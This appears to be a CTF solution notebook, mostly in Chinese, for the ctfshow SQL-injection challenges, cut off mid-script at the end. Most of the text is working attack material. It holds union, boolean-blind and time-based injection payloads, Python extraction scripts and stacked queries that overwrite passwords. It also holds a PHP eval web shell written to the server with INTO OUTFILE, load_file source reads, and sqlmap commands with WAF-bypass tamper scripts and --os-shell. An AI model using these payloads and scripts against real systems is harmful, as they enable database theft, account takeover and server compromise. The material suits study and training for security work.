1' OR '1' = '1

1' order by 2 --+  #有回显
1' order by ３ --+ #无数据

-1' union select 1,2--+

库名
-1' union select 1,(select database()) --+ 
# ctfshow_web表名
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') --+
# ctfshow_user,ctfshow_user2字段
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2') --+
# id,username,passwordflag
-1' union select 1,(select group_concat(password) from ctfshow_user2)--+
# 在最后一个

直接查password
-1' union select 1,(select group_concat(password) from ctfshow_user3),3--+
用户名不出现flag（用hex编码一下）
1' union select id,hex(username),password from ctfshow_user3 --+
替换flag（替换f为g）
-1' union select id,replace(username,'f','g'),password from ctfshow_user3 where username = 'flag

/api/v4.php?id=1'%20and%201=1%20--+回显：
{
  "code": 0,
  "msg": "\u67e5\u8be2\u6210\u529f",
  "count": 1,
  "data": [{ "username": "admin", "password": "admin" }]
}

/api/v4.php?id=1'%20and%201=2%20--+回显：
{ "code": 0, "msg": "\u67e5\u8be2\u5931\u8d25", "count": 1, "data": [] }

1' and 1=1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),3,1))>100,1,0) --+
#条件为真 有数据 返回了admin admin
1' and 1=1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),3,1))<100,1,0) --+
#条件为假 无数据 无回显

# @Author:Y4tacker
import requests

url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
        r = requests.get(url + payload)
        if "admin" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)                    

REPLACE(string, substring, new_string)

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+

def rev_replace(txt):
    repl = {
        'A': '1',
        'B': '2',
        'C': '3',
        'D': '4',
        'E': '5',
        'F': '6',
        'G': '7',
        'H': '8',
        'I': '9',
        'J': '0'
    }
 
    for k, v in repl.items():
        txt = txt.replace(k, v)
    return txt
txt = input("输入：")
out = rev_replace(txt)
print("替换后: ", out)

-1' union select  username,password from ctfshow_user5 into outfile "/var/www/html/a.txt"--+

-1' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/sh.php' --+

-1' or 1=1 %23

 ?id=1' union Select 1,(Select group_concat(schema_name) from information_schema.schemata),database() --+
 
?id=-1' union Select 1,(Select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),3 --+

?id=-1' union Select 1,(Select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),3 --+

?id=-1' union Select 1,(Select group_concat(password) from ctfshow_web.ctfshow_user),3--+

?id=1'/**/order/**/by/**/3%23 
 
?id=-1'/**/union/**/select/**/1,(select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),database()%23

?id=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'),3%23

?id=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctfshow_web'/**/and/**/table_name='ctfshow_user'),3%23

?id=-1'/**/union/**/select/**/1,(select/**/group_concat(password)/**/from/**/ctfshow_web.ctfshow_user),3%23

?id=1'%09order%09by%093%23

?id=-1'%09union%09select%091,(select%09group_concat(schema_name)%09from%09information_schema.schemata),database()%23

?id=-1'%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'),3%23

?id=-1'%09union%09select%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='ctfshow_web'%09and%09table_name='ctfshow_user'),3%23

?id=-1'%09union%09select%091,(select%09group_concat(password)%09from%09ctfshow_web.ctfshow_user),3%23

?id=1'%0corder%0cby%0c3%23

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(schema_name)%0cfrom%0cinformation_schema.schemata),database()%23

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'),3%23

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'),3%23

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(password)%0cfrom%0cctfshow_web.ctfshow_user),3%23

?id=1'%0corder%0cby%0c3--%0c

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(schema_name)%0cfrom%0cinformation_schema.schemata),database()--%0c

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'),3--%0c

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'),3--%0c

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(password)%0cfrom%0cctfshow_web.ctfshow_user),3--%0c

999'or`username`='flag

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

0'or(id=26)and'1
->
select id,username,password from ctfshow_user where username !='flag' and id = '0'or(id=26)and'1' limit 1;
-- 前面id=0不匹配，则会匹配id=26，and'1'恒真，无影响
-- limit 1只返回一条数据
最后变成这样并执行->
SELECT id, username, password FROM ctfshow_user WHERE username != 'flag' AND id = 26 LIMIT 1;

tableName=ctfshow_user
->
$user_count = 22;

tableName=(ctfshow_user)where(pass)like'ctfshow{%'
->
select count(pass) from (ctfshow_user)where(pass)like'ctfshow{%'
-- 会回显     $user_count = 1
-- 这里我的hackbar会传不动post数据，问题在%处，不明原因
如果我们匹配一个不存在的字段
tableName=(ctfshow_user)where(pass)like'ctfshow{1'
->
--回显：     $user_count = 0;

import requests
import string
url = 'http://e47ac12c-7838-4368-b1a2-3e4ef28ba073.challenge.ctf.show/select-waf.php'
dic = string.digits+string.ascii_lowercase+'-{}'  # flag可能的字符：数字字母-{}
# print(dic)
out = 'ctfshow{'  # 已经确定的部分：flag头
for j in range(0, 50):  # 为了确保flag完整输出，范围尽量大一点，观察到flag完全输出后结束运行即可
    for k in dic:
        payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"}  # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
        # print(payload)
        re = requests.post(url, data=payload)
        # print(re.text)
        if '$user_count = 1;' in re.text:
            print(k)
            out += k
            break  # 回显1说明我们猜正确了，跳出内层循环，继续猜下一位
    print(out)

tableName= ctfshow_user GROUP BY pass HAVING pass LIKE 0x63746673686f777b25

import requests
import string

url = 'http://3dabb856-2ef4-4797-8ef5-5df6faace1fd.challenge.ctf.show/select-waf.php'

# 将原始字符转换为对应的十六进制值
dic = [hex(ord(c))[2:] for c in (string.digits + string.ascii_lowercase + '-{}')]

out = '0x63746673686f777b'  # 已经确定的部分：flag头

for j in range(0, 50):  # 为了确保flag完整输出，范围尽量大一点
    for k in dic:
        payload = {'tableName': f"ctfshow_user group by pass having pass like {out+k}25"}
        re = requests.post(url, data=payload)
        if '$user_count = 1;' in re.text:
            print(k)
            out += k
            break
    print(out)  # 最后自己解一下十六进制即为答案

import string
import requests
url = "http://89463a4c-73a0-4eb7-bc52-ed12c47bf60b.challenge.ctf.show:8080/select-waf.php"payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})"true_flag = "$user_count = 43;"def make_payload(has: str) -> str:
    return payload.format((has).encode().hex())
def valid_payload(p: str) -> bool:
    data = {
        "tableName": p
    }
    response = requests.post(url, data=data)
    return true_flag in response.text
flag = "ctf" # 这里注意表中用 regexp('ctf') 只有一个结果，要提前给出这一小段 flag 头避免其他记录干扰匹配while True:
    for c in "{}-" + string.digits + string.ascii_lowercase:
        pd = flag+c
        print(f"\r[*] trying {pd}", end="")
        if valid_payload(make_payload(pd)):
            flag += c
            print(f"\r[*] flag: {flag}")
            break    if flag[-1] == "}":
        break

# author: yu22x
import requests  
import string    

# 注入目标 URL
url = "http://8319afbf-281c-4a73-b14e-a29426d0e556.challenge.ctf.show/select-waf.php"

# flag 可能包含的字符集合：十六进制字符 + 特殊符号 -, {, }
s = '0123456789abcdef-{}'

def convert(strs):
 # 将字符串转换为 SQL 中由 TRUE 运算构成的 CHAR 表达式。
   
    t = 'concat('  # 使用 concat 拼接多个 char 字符
    for s_char in strs:
        # 构造 char(TRUE + TRUE + ...)，次数等于字符的 ASCII 码值
        t += 'char(true' + '+true' * (ord(s_char) - 1) + '),'
    return t[:-1] + ")"  # 去掉最后一个逗号并闭合 concat


flag = ''  # 存储已猜解出的 flag

# 循环猜测 flag 的每一位（最多猜测 45 位）
for i in range(1, 45):
    print(i)  # 输出当前猜测第几位
    for j in s:  # 遍历可能字符尝试匹配
        # 构造正则表达式 ^ctfshow{已猜出的部分 + 当前猜测字符}
        d = convert(f'^ctfshow{flag + j}')
        
        # 构造 POST 请求参数
        data = {
            'tableName': f' ctfshow_user group by pass having pass regexp({d})'
        }

        # 发送请求
        r = requests.post(url, data=data)

        # 如果响应中出现 user_count = 1，说明匹配成功
        if "user_count = 1" in r.text:
            flag += j  # 添加当前字符到 flag
            print(flag)  # 输出当前 flag

            # 如果遇到结束符 }，认为 flag 已获取完整，退出程序
            if j == '}':
                exit(0)
            break  # 匹配成功，跳出内层循环，继续下一位猜测

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

username=0
password=0
# 尝试登录一个账号密码开头均为字母的账号

username=0
password=0
->密码错误
username=1
password=0
->查询失败

#author:yu22x
import requests
import string
url="http://566df5e6-33d0-415f-99e8-3b28a149e67f.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,1000):
    print(i)
    for j in range(32,128):
        #print(chr(j))
        data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
'password':'1'}
        #print(data)
        r=requests.post(url,data=data)
        #print(r.text)
        if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text):
            flag+=chr(j)  
            print(flag)
            break

import requests
import string

url = "http://55420a88-20cf-4283-a564-9ac21e281125.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
    print(j)
    for k in range(32, 128):

        data = {
            #'username': f"0'||if(ascii(substr(database(),{j},1))={k},1,0)#", #数据库名
            #'username': f"0'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",#表名
            #'username': f"0'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",#列名
            'username': f"0'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",#字段
            'password': '1'
        }

        re = requests.post(url, data=data)
        if ("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += chr(k)
            print(out)
            break

import requests
import string

url = "http://6304ee7e-76c4-426e-ae85-924e412830b9.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
    print(j)
    for k in range(32, 128):
        # 猜解数据库名
        data = {
        #     'username': f"0'||if(ord(substr(database(),{j},1))={k},1,0)#",
        #     'username': f"0'||if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
        #     'username': f"0'||if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",
              'username': f"0'||if(ord(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
              'password': '1'
        }

        re = requests.post(url, data=data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in re.text:
            out += chr(k)
            print(out)
            break

# 用了二分法 dejavu~~~
import requests

url = "http://6304ee7e-76c4-426e-ae85-924e412830b9.challenge.ctf.show/api/index.php"
# 表名 CtFsHOw{FL0G,CtFsHOw{usEr
# payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 ID,F1AG,ID,usErNAME,pAss
# payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef" # “密码错误” 标识符
result = ""
index = 1
while True:
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        data = {
            "username": payload.format(index, chr(p)),
            "password": 0
        }
        response = None
        while True:
            try:
                response = requests.post(url, data=data)
            except:
                continue
            break
        if true_flag in response.text:
            start = p
        else:
            end = p
    if end < start:
        end = start
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

import requests
 
url = "http://c7b89989-5634-40e7-8c57-57e0ed663dee.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz'
for j in range(1, 50):
    print(j)
    for k in dic:
        data = {
            'username': f"0'||if(substr((select f1ag from ctfshow_fl0g),{j},1)='{k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

import requests

url = "http://7b01f424-808c-4957-9c17-b8612f0163ef.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
    print(j)
    for k in dic:
        # 查数据库名
        # data = {
        #     'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查表名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查列名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查具体字段
        data = {
            'username': f"0'||if((mid((select f1ag from ctfshow_flxg),{j},1))='{k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if ("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

# left
        data = {
            'username': f"0'||if((left((select f1ag from ctfshow_flxg),{j}))='{out+k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break
            
# right

        data = {
            'username': f"0'||if((right((select f1ag from ctfshow_flxg),{j}))='{k+out}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out = k + out
            print(out)
            break
   

import requests

url = "http://77af10f7-8d34-4971-b9d4-4b191a7fafb8.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
    print(j)
    for k in dic:
        # 查数据库名
        # data = {
        #     'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查表名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查列名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查具体字段
        data = {
            'username': f"0'||if((lpad((select f1ag from ctfshow_flxg),{j}))='{out+k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

1;update(ctfshow_user)set`username`=233,`pass`=233;
->分号分隔语句，有前面可知ctfshow_user表，直接update覆盖用户密码
反引号 ` ` 用于避免字段名与 SQL 关键字冲突

1;select(1);
password传入1
# select()里面放什么数字，就会返回什么数字，然后丢进$row[0]，最后就变成1==$password

1;show tables;

1;insert ctfshow_user(username,pass) value(233,233)

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/15 22:53
# blog: www.wlhhlc.top
import requests

url = "http://e36a9275-a8a8-4def-bce5-0988a2b9b81d.challenge.ctf.show:8080/api/"
payload = '0x61646d696e;alter table ctfshow_user change column `pass` `dotast` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `dotast` `id` varchar(255);'
data1 = {
    'username': payload,
    'password': '1'
}
res = requests.post(url=url, data=data1)

for i in range(99):
    data2 = {
        'username': "0x61646d696e",
        'password': f'{i}'
    }
    res2 = requests.post(url=url, data=data2)
    if "flag" in res2.json()['msg']:
        print(res2.json()['msg'])
        break

查出sql库类型
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" --batch
# --batch 自动选择
查库
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" --dbs --batch
查表 # -D指定库
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web --tables --batch
查列 # -T指定表
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user --columns --batch
查字段 # --dump转存数据
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

python sqlmap.py -u "https://4ff0c8ea-a28c-41f6-93c3-9ecb120d3bee.challenge.ctf.show/api" --data "id=1" --referer "https://4ff0c8ea-a28c-41f6-93c3-9ecb120d3bee.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

python sqlmap.py -u "https://a2419931-cc4a-418e-b365-83680956af53.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://a2419931-cc4a-418e-b365-83680956af53.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

python sqlmap.py -u "https://96aa4d23-7781-47a3-93ef-5b2ac2fc7949.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://96aa4d23-7781-47a3-93ef-5b2ac2fc7949.challenge.ctf.show/" --cookie "PHPSESSID=8euuf13dfl72utkpc2bp9pl6ad; ctfshow=eca0216c3cf8eaad7e483da5fdbe829d" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

--safe-url 提供一个安全不错误的连接，每隔一段时间都会去访问一下
--safe-freq 提供一个安全不错误的连接，设置每次注入测试前访问安全链接的次数

python sqlmap.py -u "https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show" --cookie "PHPSESSID=2i2702v07lfg5kut2lr9tluqhe" --safe-url="https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch

python sqlmap.py -u "https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show" --cookie "PHPSESSID=ju4jc3md25ogn0avipvode6e9j" --safe-url="https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv,id,tes --dump --batch

python sqlmap.py -u "https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show" --cookie "PHPSESSID=4dq83pvgu88j7rumb27kik9im4" --safe-url="https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca -C flagvc,id,tes --dump --batch

python sqlmap.py -u "https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/" --cookie "PHPSESSID=dbtb17i7bloe6vnpff17ls81rs" --safe-url="https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py,randomcase.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca,id,tes --dump --batch

#!/usr/bin/env python

"""Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    """    Replaces space character (' ') with comments '/**/'    Tested against:        * Microsoft SQL Server 2005        * MySQL 4, 5.0 and 5.5        * Oracle 10g        * PostgreSQL 8.3, 8.4, 9.0    Notes:        * Useful to bypass weak and bespoke web application firewalls    >>> tamper('SELECT id FROM users')    'SELECT/**/id/**/FROM/**/users'    """retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x9)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote
            # ＝换成like
            elif payload[i] == '=':
                retVal += chr(0x9) + 'like' + chr(0x9)
                continue
            # 空格换成%09
            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x9)
                continue

            retVal += payload[i]

    return retVal

python sqlmap.py -u "https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/" --cookie "PHPSESSID=evn4h59knk8u6ico477d4ddaov" --safe-url="https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web209.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx,id,tes --dump --batch

#!/usr/bin/env python

"""Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)See the file 'LICENSE' for copying permission"""

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """    Base64-encodes all characters in a given payload    >>> tamper("1' AND SLEEP(5)#")    'MScgQU5EIFNMRUVQKDUpIw=='    """return encodeBase64(encodeBase64(payload[::-1], binary=False)[::-1], binary=False) if payload else payload

python sqlmap.py -u "https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/" --cookie "PHPSESSID=p5u32mj7b1uf0mb0sq0dekol7d" --safe-url="https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web210.py -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx,id,tes --dump --batch

#!/usr/bin/env python

"""Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)See the file 'LICENSE' for copying permission"""

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """    Base64-encodes all characters in a given payload    >>> tamper("1' AND SLEEP(5)#")    'MScgQU5EIFNMRUVQKDUpIw=='    """return encodeBase64(encodeBase64(payload[::-1].replace(' ', chr(0x09)), binary=False)[::-1], binary=False) if payload else payload

python sqlmap.py -u "https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/" --cookie "PHPSESSID=rahllt88gupk9g2qoq4ejut7q7" --safe-url="https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa,id,tes --dump --batch

python sqlmap.py -u "https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/" --cookie "PHPSESSID=30uqjjuhpe0d85o7gmjgs3mj22" --safe-url="https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py -D ctfshow_web -Tctfshow_flavis -C ctfshow_flagxxa,id,tes --dump --batch

python sqlmap.py -u "https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/" --cookie "PHPSESSID=6q7ve32dcut6ik038kkubm94id" --safe-url="https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py --os-shell --batch
# getshell之后
os-shell> cat /ctfshow_flag

"""
Author:Y4tacker
"""
import requests

url = "http://d23ee9e9-3e43-4b0a-b172-547561ea456d.chall.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
        # 查数据
        payload = "select flaga from ctfshow_flagx"
        data = {
            'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

"""Author:Y4tacker"""
import requests

url = "http://58fedc0e-77e9-4603-9752-c9f6e444cec7.challenge.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'"
        # 查数据
        payload = "select flagaa from ctfshow_flagxc"
        data = {
            'ip': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1) and '1'='1",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

"""
Author:Y4tacker
"""
import requests

url = "http://48fe6e0c-bb44-48e7-b0a0-18c33c7cfffa.challenge.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
        # 查数据
        payload = "select flagaac from ctfshow_flagxcc"
        data = {
            'ip': f"'MQ==') or if (ascii(substr(({payload}),{i},1))>{mid},sleep(1),1",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

# @author：Myon
# @time：20240813
import requests
import string
 
url = 'http://6f8c19e2-81c7-4dbc-990c-aa3e3666e54f.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
 
for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',benchmark(3000000,md5('myon')),0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜表名
